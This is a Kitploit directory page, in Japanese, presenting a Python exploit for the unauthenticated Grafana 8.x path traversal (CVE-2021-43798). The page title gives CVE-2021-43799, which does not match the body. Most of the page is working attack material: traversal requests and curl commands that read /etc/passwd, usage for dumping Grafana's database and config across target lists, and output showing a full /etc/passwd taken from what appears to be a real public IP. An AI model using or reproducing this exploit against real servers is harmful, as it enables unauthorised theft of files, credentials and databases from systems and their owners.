Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-43799 — Pythonエクスプロイトコード | Kitploit
ツール/GitHubGitHub/scopion/cve-2021-43799
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト学習と教育
GitHubscopion/cve-2021-43799

CVE-2021-43799

Pythonエクスプロイトコード

リポジトリを見る
124年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-43798

Grafana 8.x パス・トラバーサル (認証不要) すべての功績は j0v と彼のツイート https://twitter.com/j0v0x0/status/1466845212626542607 に帰属します。

免責事項

これは教育目的のみです。私はあなたの行動に対して責任を負いません。自己責任で使用してください。 誠意をもって、この脆弱性が公開されるかパッチが利用可能になるまで、この PoC の公開を控えています。

目次

  • 説明 - 脆弱性の説明
  • 攻撃ベクトル - 実行可能な攻撃の一覧
  • エクスプロイトスクリプト - エクスプロイトスクリプトの使い方

説明

私は j0v のツイート で Grafana のパス・トラバーサルバグが発見されたと主張していることに気づきました。好奇心から Grafana のソースコードを調べ始めました。ツイートでは認証不要のバグであると述べられていました。Grafana には公開 API エンドポイントがいくつかあり、そのうちの1つだけがユーザーからファイルパスを受け取っていました。 Grafana には /public/plugins/:pluginId という公開 API エンドポイントがあり、プラグインのアセットを表示できます。これは有効な :pluginId を指定し、img/logo.png などのファイルパスを指定することで動作します。しかし、Grafana はユーザーが指定したファイルパスのサニタイズに失敗し、パス・トラバーサルを引き起こします。 アクセスされるディレクトリは <grafana>/public/app/plugins/panel/<pluginId> にあります。標準的な Grafana インストールでは、Grafana のデータディレクトリは /usr/share/grafana です。したがって、8つ上のディレクトリに戻ることで、ファイルシステムのルートディレクトリに到達できます。 HTTP リクエスト:

root@kitploit:~
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

問題のあるコード: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284 注意: これはブラウザでは動作しません(ブラウザはパス内の ../ を自動的に折りたたみます) --path-as-is 引数を使用して curl でテストできます:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

ヘルプ:

root@kitploit:~
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]

optional arguments:
  -h, --help            このヘルプメッセージを表示して終了
  -l INPUT_LIST, --list INPUT_LIST
                        ip:port の入力リスト
  -db, --database       データベースをダンプ
  -cfg, --config        設定をダンプ
  -c, --check           出力の正規表現チェックを有効化(誤検知を抑制)
  -t TARGET, --target TARGET
                        単一ターゲット
  -f TARGET_FILE, --file TARGET_FILE
                        リモートターゲットファイル
  -w WRITE_FILE, --write WRITE_FILE
                        ファイルを書き込むディレクトリ
  -v, --verbosity       詳細表示

ファイルを取得:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list

データベースをダンプ:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -db

設定をダンプ:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -cfg

その他のオプション:

有効なファイルのみ表示:

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin

ファイルを files ディレクトリに書き込む:

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files
ツールをダウンロード